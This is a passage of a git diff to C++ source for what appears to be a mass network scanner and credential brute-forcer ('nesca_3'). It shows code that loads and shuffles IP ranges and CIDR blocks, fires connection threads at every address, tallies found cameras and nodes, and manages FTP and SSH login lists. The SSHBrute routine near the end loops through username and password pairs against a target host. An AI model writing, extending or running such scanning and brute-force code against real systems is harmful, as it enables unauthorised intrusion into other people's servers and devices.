&& ipsstartfl[MainStarter::flCounter][2] > ipsendfl[MainStarter::flCounter][2]
|
||||
)
|
||||
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
|
||||
&& ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
|
||||
&& ipsstartfl[MainStarter::flCounter][2] >= ipsendfl[MainStarter::flCounter][2]
|
||||
&& ipsstartfl[MainStarter::flCounter][3] > ipsendfl[MainStarter::flCounter][3]
|
||||
)
|
||||
)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
||||
QString::number(MainStarter::flCounter) +
|
||||
"] String-> [" +
|
||||
QString(curIPCopy) + "]");
|
||||
return -1;
|
||||
};
|
||||
|
||||
unsigned long ip1 = (ipsstartfl[MainStarter::flCounter][0] * 16777216) +
|
||||
(ipsstartfl[MainStarter::flCounter][1] * 65536) +
|
||||
(ipsstartfl[MainStarter::flCounter][2] * 256) +
|
||||
ipsstartfl[MainStarter::flCounter][3];
|
||||
unsigned long ip2 = (ipsendfl[MainStarter::flCounter][0] * 16777216) +
|
||||
(ipsendfl[MainStarter::flCounter][1] * 65536) +
|
||||
(ipsendfl[MainStarter::flCounter][2] * 256) +
|
||||
ipsendfl[MainStarter::flCounter][3];
|
||||
|
||||
if (ip1 > ip2) {
|
||||
stt->doEmitionRedFoundData("Malformed input: check your range (" +
|
||||
QString(curIP) + ")");
|
||||
}
|
||||
|
||||
gTargets += ip2 - ip1 + 1;
|
||||
++MainStarter::flCounter;
|
||||
}
|
||||
else if (strstr(curIP, "/") != NULL)
|
||||
{
|
||||
if (strlen(curIP) > 18) {
|
||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
||||
QString::number(MainStarter::flCounter) +
|
||||
"] String-> [" +
|
||||
QString(curIPCopy) +
|
||||
"]");
|
||||
continue;
|
||||
}
|
||||
unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
|
||||
unsigned int netmask = atoi(strstr(curIP, "/") + 1);
|
||||
|
||||
std::vector<int> tmpIPVec = Utils::splitToIntVector(curIP, '.');
|
||||
|
||||
for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
|
||||
|
||||
/*Set the bytes which won't be changed*/
|
||||
for (tmp1 = tmp2 = netmask / 8; tmp1>0; tmp1--){
|
||||
ip_min[tmp1 - 1] = ip[tmp1 - 1];
|
||||
ip_max[tmp1 - 1] = ip[tmp1 - 1];
|
||||
}
|
||||
/*Set the bytes which should be 0ed or 255ed.*/
|
||||
for (tmp1 = tmp2, ++tmp2; tmp2< 4; tmp2++){
|
||||
ip_min[tmp2] = 0;
|
||||
ip_max[tmp2] = 255;
|
||||
}
|
||||
/* Finally set the one which has to be shifted.*/
|
||||
if (tmp1 < 4){
|
||||
tmp2 = 8 - netmask % 8;
|
||||
ip_min[tmp1] = ip[tmp1] >> tmp2;
|
||||
ip_min[tmp1] <<= tmp2;
|
||||
ip_max[tmp1] = ip_min[tmp1] + pow(2, tmp2) - 1;
|
||||
}
|
||||
|
||||
ipsstartfl[MainStarter::flCounter][0] = ip_min[0];
|
||||
ipsstartfl[MainStarter::flCounter][1] = ip_min[1];
|
||||
ipsstartfl[MainStarter::flCounter][2] = ip_min[2];
|
||||
ipsstartfl[MainStarter::flCounter][3] = ip_min[3];
|
||||
|
||||
ipsendfl[MainStarter::flCounter][0] = ip_max[0];
|
||||
ipsendfl[MainStarter::flCounter][1] = ip_max[1];
|
||||
ipsendfl[MainStarter::flCounter][2] = ip_max[2];
|
||||
ipsendfl[MainStarter::flCounter][3] = ip_max[3];
|
||||
|
||||
unsigned long ip1 = (ip_min[0] * 16777216) +
|
||||
(ip_min[1] * 65536) +
|
||||
(ip_min[2] * 256) +
|
||||
ip_min[3];
|
||||
unsigned long ip2 = (ip_max[0] * 16777216) +
|
||||
(ip_max[1] * 65536) +
|
||||
(ip_max[2] * 256) +
|
||||
ip_max[3];
|
||||
|
||||
if (ip1 > ip2) {
|
||||
stt->doEmitionRedFoundData("Malformed input: check your range (" +
|
||||
QString(curIP) + ")");
|
||||
}
|
||||
|
||||
gTargets += ip2 - ip1 + 1;
|
||||
++MainStarter::flCounter;
|
||||
}
|
||||
else if (strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL)
|
||||
{
|
||||
///DUMMY///
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
||||
QString::number(MainStarter::flCounter) +
|
||||
"] String-> [" +
|
||||
QString(curIPCopy) +
|
||||
"]");
|
||||
return -1;
|
||||
};
|
||||
ZeroMemory(curIP, sizeof(curIP));
|
||||
};
|
||||
};
|
||||
gTargetsNumber = gTargets;
|
||||
|
||||
stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)");
|
||||
fclose(fl);
|
||||
}
|
||||
else stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
|
||||
|
||||
if (importFileSize == 0) return -1;
|
||||
|
||||
ipsstartfl = new unsigned int*[importFileSize + 1];
|
||||
ipsendfl = new unsigned int*[importFileSize + 1];
|
||||
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
|
||||
ZeroMemory(ipsendfl, sizeof(ipsendfl));
|
||||
|
||||
for (int i = 0; i < importFileSize; ++i)
|
||||
{
|
||||
ipsstartfl[i] = new unsigned int[4];
|
||||
ipsendfl[i] = new unsigned int[4];
|
||||
|
||||
ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i]));
|
||||
ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
|
||||
};
|
||||
|
||||
std::vector<std::string> shuffleArray;
|
||||
ifstream inputStream(fileName);
|
||||
std::string curIPStr;
|
||||
|
||||
while (!inputStream.eof())
|
||||
{
|
||||
std::getline(inputStream, curIPStr);
|
||||
if (curIPStr.size() > 1
|
||||
&& curIPStr.find("#") == std::string::npos) shuffleArray.push_back(curIPStr);
|
||||
}
|
||||
|
||||
std::random_shuffle(shuffleArray.begin(), shuffleArray.end());
|
||||
for (int i = 0; i < importFileSize; ++i) {
|
||||
curIPStr = shuffleArray[i];
|
||||
if (curIPStr.find("-") != std::string::npos) {
|
||||
std::vector<std::string> tmpIPVec = Utils::splitToStrVector(curIPStr, '-');
|
||||
std::vector<int> tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.');
|
||||
std::vector<int> tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.');
|
||||
|
||||
ipsstartfl[MainStarter::flCounter][0] = tmpIPIntVec1[0];
|
||||
ipsstartfl[MainStarter::flCounter][1] = tmpIPIntVec1[1];
|
||||
ipsstartfl[MainStarter::flCounter][2] = tmpIPIntVec1[2];
|
||||
ipsstartfl[MainStarter::flCounter][3] = tmpIPIntVec1[3];
|
||||
|
||||
ipsendfl[MainStarter::flCounter][0] = tmpIPIntVec2[0];
|
||||
ipsendfl[MainStarter::flCounter][1] = tmpIPIntVec2[1];
|
||||
ipsendfl[MainStarter::flCounter][2] = tmpIPIntVec2[2];
|
||||
ipsendfl[MainStarter::flCounter][3] = tmpIPIntVec2[3];
|
||||
|
||||
if (ipsstartfl[MainStarter::flCounter][0] > ipsendfl[MainStarter::flCounter][0]
|
||||
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
|
||||
&& ipsstartfl[MainStarter::flCounter][1] > ipsendfl[MainStarter::flCounter][1]
|
||||
)
|
||||
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
|
||||
&& ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
|
||||
&& ipsstartfl[MainStarter::flCounter][2] > ipsendfl[MainStarter::flCounter][2]
|
||||
)
|
||||
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
|
||||
&& ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
|
||||
&& ipsstartfl[MainStarter::flCounter][2] >= ipsendfl[MainStarter::flCounter][2]
|
||||
&& ipsstartfl[MainStarter::flCounter][3] > ipsendfl[MainStarter::flCounter][3]
|
||||
)
|
||||
)
|
||||
{
|
||||
stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" +
|
||||
QString(curIPStr.c_str()) + "]");
|
||||
return -1;
|
||||
};
|
||||
|
||||
unsigned long ip1 = (ipsstartfl[MainStarter::flCounter][0] * 16777216) +
|
||||
(ipsstartfl[MainStarter::flCounter][1] * 65536) +
|
||||
(ipsstartfl[MainStarter::flCounter][2] * 256) +
|
||||
ipsstartfl[MainStarter::flCounter][3];
|
||||
unsigned long ip2 = (ipsendfl[MainStarter::flCounter][0] * 16777216) +
|
||||
(ipsendfl[MainStarter::flCounter][1] * 65536) +
|
||||
(ipsendfl[MainStarter::flCounter][2] * 256) +
|
||||
ipsendfl[MainStarter::flCounter][3];
|
||||
|
||||
if (ip1 > ip2) {
|
||||
stt->doEmitionRedFoundData(" Malformed input: check your range (" +
|
||||
QString(curIPStr.c_str()) + ")");
|
||||
}
|
||||
|
||||
gTargets += ip2 - ip1 + 1;
|
||||
++MainStarter::flCounter;
|
||||
}
|
||||
else if (curIPStr.find("/") != std::string::npos)
|
||||
{
|
||||
if (curIPStr.size() > 18) {
|
||||
stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" +
|
||||
QString(curIPStr.c_str()) +
|
||||
"]");
|
||||
continue;
|
||||
}
|
||||
unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
|
||||
unsigned int netmask = atoi(strstr(curIPStr.c_str(), "/") + 1);
|
||||
|
||||
std::vector<int> tmpIPVec = Utils::splitToIntVector(curIPStr.c_str(), '.');
|
||||
|
||||
for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
|
||||
|
||||
/*Set the bytes which won't be changed*/
|
||||
for (tmp1 = tmp2 = netmask / 8; tmp1>0; tmp1--){
|
||||
ip_min[tmp1 - 1] = ip[tmp1 - 1];
|
||||
ip_max[tmp1 - 1] = ip[tmp1 - 1];
|
||||
}
|
||||
/*Set the bytes which should be 0ed or 255ed.*/
|
||||
for (tmp1 = tmp2, ++tmp2; tmp2 < 4; tmp2++){
|
||||
ip_min[tmp2] = 0;
|
||||
ip_max[tmp2] = 255;
|
||||
}
|
||||
/* Finally set the one which has to be shifted.*/
|
||||
if (tmp1 < 4){
|
||||
tmp2 = 8 - netmask % 8;
|
||||
ip_min[tmp1] = ip[tmp1] >> tmp2;
|
||||
ip_min[tmp1] <<= tmp2;
|
||||
ip_max[tmp1] = ip_min[tmp1] + pow(2, tmp2) - 1;
|
||||
}
|
||||
|
||||
ipsstartfl[MainStarter::flCounter][0] = ip_min[0];
|
||||
ipsstartfl[MainStarter::flCounter][1] = ip_min[1];
|
||||
ipsstartfl[MainStarter::flCounter][2] = ip_min[2];
|
||||
ipsstartfl[MainStarter::flCounter][3] = ip_min[3];
|
||||
|
||||
ipsendfl[MainStarter::flCounter][0] = ip_max[0];
|
||||
ipsendfl[MainStarter::flCounter][1] = ip_max[1];
|
||||
ipsendfl[MainStarter::flCounter][2] = ip_max[2];
|
||||
ipsendfl[MainStarter::flCounter][3] = ip_max[3];
|
||||
|
||||
unsigned long ip1 = (ip_min[0] * 16777216) +
|
||||
(ip_min[1] * 65536) +
|
||||
(ip_min[2] * 256) +
|
||||
ip_min[3];
|
||||
unsigned long ip2 = (ip_max[0] * 16777216) +
|
||||
(ip_max[1] * 65536) +
|
||||
(ip_max[2] * 256) +
|
||||
ip_max[3];
|
||||
|
||||
if (ip1 > ip2) {
|
||||
stt->doEmitionRedFoundData("Malformed input: check your range (" +
|
||||
QString(curIPStr.c_str()) + ")");
|
||||
}
|
||||
|
||||
gTargets += ip2 - ip1 + 1;
|
||||
++MainStarter::flCounter;
|
||||
}
|
||||
else if (strstr(curIPStr.c_str(), "RESTORE_IMPORT_SESSION") != NULL)
|
||||
{
|
||||
///DUMMY///
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
||||
QString::number(MainStarter::flCounter) +
|
||||
"] String-> [" +
|
||||
QString(curIPStr.c_str()) +
|
||||
"]");
|
||||
return -1;
|
||||
};
|
||||
};
|
||||
gTargetsNumber = gTargets;
|
||||
stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)");
|
||||
|
||||
}
|
||||
int MainStarter::loadTargets(const char *data) {
|
||||
|
||||
@ -379,12 +363,16 @@ void MainStarter::saveBackupToFile()
|
||||
|
||||
if (MainStarter::flCounter > 0)
|
||||
{
|
||||
if (!saveBackup) return;
|
||||
FILE *savingFile = fopen("tempIPLst.bk", "w");
|
||||
if (savingFile != NULL)
|
||||
{
|
||||
if (gflIndex < MainStarter::flCounter) {
|
||||
sprintf(ipRange, "%s-%d.%d.%d.%d\n",
|
||||
currentIP,
|
||||
sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n",
|
||||
ipsstartfl[gflIndex][0],
|
||||
ipsstartfl[gflIndex][1],
|
||||
ipsstartfl[gflIndex][2],
|
||||
ipsstartfl[gflIndex][3],
|
||||
ipsendfl[gflIndex][0],
|
||||
ipsendfl[gflIndex][1],
|
||||
ipsendfl[gflIndex][2],
|
||||
@ -496,7 +484,7 @@ void MainStarter::saver()
|
||||
{
|
||||
saverRunning = true;
|
||||
Sleep(1000);
|
||||
while (globalScanFlag)
|
||||
while (saveBackup && globalScanFlag)
|
||||
{
|
||||
savingBackUpFile = true;
|
||||
saveBackupToFile();
|
||||
@ -944,7 +932,7 @@ void MainStarter::startIPScan(){
|
||||
tAddr.s_addr = ntohl(i);
|
||||
ipVec.push_back(inet_ntoa(tAddr));
|
||||
|
||||
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
|
||||
if (ipVec.size() >= (offset < 10000 ? offset : 10000)) {
|
||||
|
||||
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||
while (ipVec.size() != 0) {
|
||||
@ -953,9 +941,9 @@ void MainStarter::startIPScan(){
|
||||
if (!globalScanFlag) goto haters_gonna_hate_IPM;
|
||||
|
||||
++indexIP;
|
||||
|
||||
strcpy(currentIP, ipVec[0].c_str());
|
||||
ipVec.erase(ipVec.begin());
|
||||
|
||||
verboseProgress(gTargets);
|
||||
|
||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||
@ -1180,7 +1168,6 @@ void MainStarter::startDNSScan(){
|
||||
gTargets = dnsCounter;
|
||||
gTargetsNumber = gTargets;
|
||||
stt->doEmitionYellowFoundData("Starting DNS-scan...");
|
||||
stt->doEmitionChangeStatus("Scanning...");
|
||||
|
||||
int y = _GetDNSFromMask(dataEntry, "", dataEntry);
|
||||
if (y == -1)
|
||||
@ -1189,6 +1176,11 @@ void MainStarter::startDNSScan(){
|
||||
};
|
||||
}
|
||||
|
||||
struct Corac {
|
||||
int index;
|
||||
std::string ip;
|
||||
};
|
||||
|
||||
void MainStarter::startImportScan(){
|
||||
if (MainStarter::flCounter == 0)
|
||||
{
|
||||
@ -1198,56 +1190,120 @@ void MainStarter::startImportScan(){
|
||||
return;
|
||||
};
|
||||
|
||||
stt->doEmitionChangeStatus("Scanning...");
|
||||
for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex)
|
||||
{
|
||||
sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
|
||||
ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3],
|
||||
ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]);
|
||||
//std::vector<std::string> ipVec;
|
||||
std::vector<Corac> ipVec;
|
||||
struct in_addr tAddr;
|
||||
int ipOffset = 6;
|
||||
//for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex)
|
||||
for (gflIndex = 0; gflIndex < MainStarter::flCounter; gflIndex += ipOffset)
|
||||
{
|
||||
//sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
|
||||
// ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3],
|
||||
// ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]);
|
||||
|
||||
ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
|
||||
(ipsstartfl[gflIndex][1] * 65536) +
|
||||
(ipsstartfl[gflIndex][2] * 256) +
|
||||
ipsstartfl[gflIndex][3];
|
||||
ip2 = (ipsendfl[gflIndex][0] * 16777216) +
|
||||
(ipsendfl[gflIndex][1] * 65536) +
|
||||
(ipsendfl[gflIndex][2] * 256) +
|
||||
ipsendfl[gflIndex][3];
|
||||
//ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
|
||||
// (ipsstartfl[gflIndex][1] * 65536) +
|
||||
// (ipsstartfl[gflIndex][2] * 256) +
|
||||
// ipsstartfl[gflIndex][3];
|
||||
//ip2 = (ipsendfl[gflIndex][0] * 16777216) +
|
||||
// (ipsendfl[gflIndex][1] * 65536) +
|
||||
// (ipsendfl[gflIndex][2] * 256) +
|
||||
// ipsendfl[gflIndex][3];
|
||||
|
||||
switch (gShuffle) {
|
||||
case true: {
|
||||
std::vector<std::string> ipVec;
|
||||
struct in_addr tAddr;
|
||||
int ipGap = MainStarter::flCounter - gflIndex;
|
||||
if (ipGap < ipOffset)
|
||||
{
|
||||
ipOffset = ipGap;
|
||||
};
|
||||
|
||||
for (unsigned long i = ip1; i <= ip2; ++i) {
|
||||
for (int j = gflIndex, coracIndex = 0; j < gflIndex + ipOffset; ++j, coracIndex++)
|
||||
{
|
||||
/*sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
|
||||
ipsstartfl[j][0], ipsstartfl[j][1], ipsstartfl[j][2], ipsstartfl[j][3],
|
||||
ipsendfl[j][0], ipsendfl[j][1], ipsendfl[j][2], ipsendfl[j][3]);*/
|
||||
ip1 = (ipsstartfl[j][0] * 16777216) +
|
||||
(ipsstartfl[j][1] * 65536) +
|
||||
(ipsstartfl[j][2] * 256) +
|
||||
ipsstartfl[j][3];
|
||||
ip2 = (ipsendfl[j][0] * 16777216) +
|
||||
(ipsendfl[j][1] * 65536) +
|
||||
(ipsendfl[j][2] * 256) +
|
||||
ipsendfl[j][3];
|
||||
|
||||
if (!globalScanFlag) break;
|
||||
unsigned long offset = ip2 - i;
|
||||
for (unsigned long i = ip1; i <= ip2; ++i)
|
||||
{
|
||||
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||
|
||||
tAddr.s_addr = ntohl(i);
|
||||
ipVec.push_back(inet_ntoa(tAddr));
|
||||
|
||||
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
|
||||
|
||||
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||
while (ipVec.size() != 0) {
|
||||
|
||||
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||
|
||||
++indexIP;
|
||||
strcpy(currentIP, ipVec[0].c_str());
|
||||
ipVec.erase(ipVec.begin());
|
||||
verboseProgress(gTargets);
|
||||
|
||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||
}
|
||||
tAddr.s_addr = ntohl(i);
|
||||
Corac corac;
|
||||
corac.ip = std::string(inet_ntoa(tAddr));
|
||||
corac.index = coracIndex;
|
||||
ipVec.push_back(corac);
|
||||
}
|
||||
}
|
||||
|
||||
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||
for (int k = 0; k < ipVec.size(); ++k)
|
||||
{
|
||||
stt->addColoredIndex(ipVec[k].index);
|
||||
}
|
||||
|
||||
stt->doEmitionUpdatePB2();
|
||||
|
||||
while (ipVec.size() != 0) {
|
||||
++cIndex;
|
||||
//stt->doEmitionDrawPointerPB2(pointer++);
|
||||
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||
|
||||
++indexIP;
|
||||
|
||||
strcpy(currentIP, ipVec[0].ip.c_str());
|
||||
ipVec.erase(ipVec.begin());
|
||||
verboseProgress(gTargets);
|
||||
|
||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||
}
|
||||
|
||||
// for (unsigned long i = ip1; i <= ip2; ++i) {
|
||||
|
||||
// if (!globalScanFlag) break;
|
||||
|
||||
// tAddr.s_addr = ntohl(i);
|
||||
// ipVec.push_back(inet_ntoa(tAddr));
|
||||
|
||||
// if (ipVec.size() >= (gTargets > 10000 ? 10000 : gTargets)) {
|
||||
|
||||
// std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||
// while (ipVec.size() != 0) {
|
||||
|
||||
// while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||
// if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||
|
||||
// ++indexIP;
|
||||
|
||||
// strcpy(currentIP, ipVec[0].c_str());
|
||||
// ipVec.erase(ipVec.begin());
|
||||
// verboseProgress(gTargets);
|
||||
|
||||
// Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
haters_gonna_hate_IM:;
|
||||
break;
|
||||
}
|
||||
case false: {
|
||||
ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
|
||||
(ipsstartfl[gflIndex][1] * 65536) +
|
||||
(ipsstartfl[gflIndex][2] * 256) +
|
||||
ipsstartfl[gflIndex][3];
|
||||
ip2 = (ipsendfl[gflIndex][0] * 16777216) +
|
||||
(ipsendfl[gflIndex][1] * 65536) +
|
||||
(ipsendfl[gflIndex][2] * 256) +
|
||||
ipsendfl[gflIndex][3];
|
||||
struct in_addr tAddr;
|
||||
for (unsigned long i = ip1; i <= ip2; ++i) {
|
||||
|
||||
@ -1289,21 +1345,84 @@ void MainStarter::runAuxiliaryThreads() {
|
||||
}
|
||||
|
||||
void MainStarter::createResultFiles() {
|
||||
char fileName[256] = { 0 };
|
||||
sprintf(fileName, "./result_files-%s", Utils::getStartDate().c_str());
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
bool res = CreateDirectoryA(RESULT_DIR_NAME, NULL);
|
||||
if(!res) stt->doEmitionRedFoundData("Failed to crete results.");
|
||||
bool res = CreateDirectoryA(fileName, NULL);
|
||||
if (!res) {
|
||||
int err = GetLastError();
|
||||
if (err != 183)
|
||||
{
|
||||
while (!res) {
|
||||
stt->doEmitionRedFoundData("Failed to create \"" + QString::fromLocal8Bit(fileName) + "\" Err: " + QString::number(err));
|
||||
res = CreateDirectoryA(fileName, NULL);
|
||||
err = GetLastError();
|
||||
Sleep(1000);
|
||||
}
|
||||
} else {
|
||||
stt->doEmitionYellowFoundData("Directory \"" + QString::fromLocal8Bit(fileName) + "\" already exists. Err: " + QString::number(err));
|
||||
}
|
||||
} else {
|
||||
stt->doEmitionGreenFoundData("Result directory \"" + QString::fromLocal8Bit(fileName) + "\" successfully created.");
|
||||
}
|
||||
#else
|
||||
struct stat str = { 0 };
|
||||
if (stat(RESULT_DIR_NAME, &str) == -1) {
|
||||
mkdir(RESULT_DIR_NAME, 0700);
|
||||
if (stat(fileName, &str) == -1) {
|
||||
mkdir(fileName, 0700);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
/* This array will store all of the mutexes available to OpenSSL. */
|
||||
static MUTEX_TYPE *mutex_buf = NULL;
|
||||
|
||||
static void locking_function(int mode, int n, const char * file, int line)
|
||||
{
|
||||
if (mode & CRYPTO_LOCK)
|
||||
MUTEX_LOCK(mutex_buf[n]);
|
||||
else
|
||||
MUTEX_UNLOCK(mutex_buf[n]);
|
||||
}
|
||||
|
||||
static unsigned long id_function(void)
|
||||
{
|
||||
return ((unsigned long)THREAD_ID);
|
||||
}
|
||||
|
||||
int thread_setup(void)
|
||||
{
|
||||
int i;
|
||||
|
||||
mutex_buf = (MUTEX_TYPE*)malloc(CRYPTO_num_locks() * sizeof(MUTEX_TYPE));
|
||||
if (!mutex_buf)
|
||||
return 0;
|
||||
for (i = 0; i < CRYPTO_num_locks(); i++)
|
||||
MUTEX_SETUP(mutex_buf[i]);
|
||||
CRYPTO_set_id_callback(id_function);
|
||||
CRYPTO_set_locking_callback(locking_function);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int thread_cleanup(void)
|
||||
{
|
||||
int i;
|
||||
if (!mutex_buf)
|
||||
return 0;
|
||||
CRYPTO_set_id_callback(NULL);
|
||||
CRYPTO_set_locking_callback(NULL);
|
||||
for (i = 0; i < CRYPTO_num_locks(); i++)
|
||||
MUTEX_CLEANUP(mutex_buf[i]);
|
||||
free(mutex_buf);
|
||||
mutex_buf = NULL;
|
||||
return 1;
|
||||
}
|
||||
|
||||
void MainStarter::start(const char* targets, const char* ports) {
|
||||
|
||||
saveBackup = true;
|
||||
curl_global_init(CURL_GLOBAL_ALL);
|
||||
|
||||
thread_setup();
|
||||
|
||||
createResultFiles();
|
||||
|
||||
if (loadTargets(targets) == -1 ||
|
||||
@ -1319,13 +1438,15 @@ void MainStarter::start(const char* targets, const char* ports) {
|
||||
else if (gMode == 1) startDNSScan();
|
||||
else startImportScan();
|
||||
|
||||
saveBackup = false;
|
||||
|
||||
stt->doEmitionYellowFoundData("Stopping threads...");
|
||||
stt->doEmitionChangeStatus("Stopping...");
|
||||
|
||||
while (cons > 0 || jsonArr->size() > 0) Sleep(2000);
|
||||
|
||||
thread_cleanup();
|
||||
|
||||
stt->doEmitionGreenFoundData("Done. Saved <u>" + QString::number(saved) +
|
||||
"</u> of <u>" + QString::number(found) + "</u> nodes.");
|
||||
stt->doEmitionChangeStatus("Idle");
|
||||
stt->doEmitionKillSttThread();
|
||||
}
|
@ -30,9 +30,8 @@ public:
|
||||
MainStarter()
|
||||
{
|
||||
horLineFlag = false;
|
||||
PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0;
|
||||
AnomC1 = 0, baCount = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0,
|
||||
WF = 0;
|
||||
PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0;
|
||||
camerasC1 = 0, baCount = 0, filtered = 0, Overl = 0, Alive = 0, Activity = 0, saved = 0, other = 0;
|
||||
BrutingThrds = 0;
|
||||
found = 0;
|
||||
gTargets = 0;
|
||||
@ -77,6 +76,18 @@ public:
|
||||
delete[]wfLoginLst;
|
||||
wfLoginLst = NULL;
|
||||
};
|
||||
if (ftpPassLst != NULL)
|
||||
{
|
||||
for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i];
|
||||
delete[]ftpPassLst;
|
||||
ftpPassLst = NULL;
|
||||
};
|
||||
if (ftpLoginLst != NULL)
|
||||
{
|
||||
for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i];
|
||||
delete[]ftpLoginLst;
|
||||
ftpLoginLst = NULL;
|
||||
};
|
||||
if (sshlpLst != NULL)
|
||||
{
|
||||
for (int i = 0; i < MaxSSHPass; ++i) delete[]sshlpLst[i];
|
||||
|
60
SSHAuth.cpp
60
SSHAuth.cpp
@ -84,17 +84,19 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
|
||||
return 0;
|
||||
}
|
||||
|
||||
int check_ssh_pass(const char *user, const char *pass,
|
||||
int check_ssh_pass(const int rowIndex, const char *user, const char *pass,
|
||||
const char *userPass, const char *host, int port,
|
||||
std::string *buffer, const char *banner) {
|
||||
int res = -1;
|
||||
if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(userPass) + "@" + QString(host) + ":" + QString::number(port));
|
||||
|
||||
res = _sshConnect(user, pass, host, port);
|
||||
int res = _sshConnect(user, pass, host, port);
|
||||
|
||||
if(res == 0)
|
||||
{
|
||||
stt->doEmition_BAGreenData("[+] SSH: " + QString(userPass) + "@" + QString(host));
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(host) + ":" + QString::number(port), QString(userPass) + "@" + QString(host), "OK");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(userPass) + "@" + QString(host), "OK");
|
||||
}
|
||||
buffer->append(userPass);
|
||||
buffer->append("@");
|
||||
buffer->append(host);
|
||||
@ -112,6 +114,8 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
||||
char temp[64] = {0};
|
||||
char *ptr1 = 0;
|
||||
int res = -1;
|
||||
int rowIndex = -1;
|
||||
int passCounter = 0;
|
||||
|
||||
for(int i = 0; i < MaxSSHPass; ++i)
|
||||
{
|
||||
@ -126,23 +130,59 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
||||
|
||||
strncpy(login, temp, ptr1 - temp);
|
||||
strcpy(pass, ptr1 + 1);
|
||||
res = check_ssh_pass(login, pass, temp, host, port, buffer, banner);
|
||||
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
rowIndex = nesca_3::addBARow(QString(host) + ":" + QString::number(port),
|
||||
QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
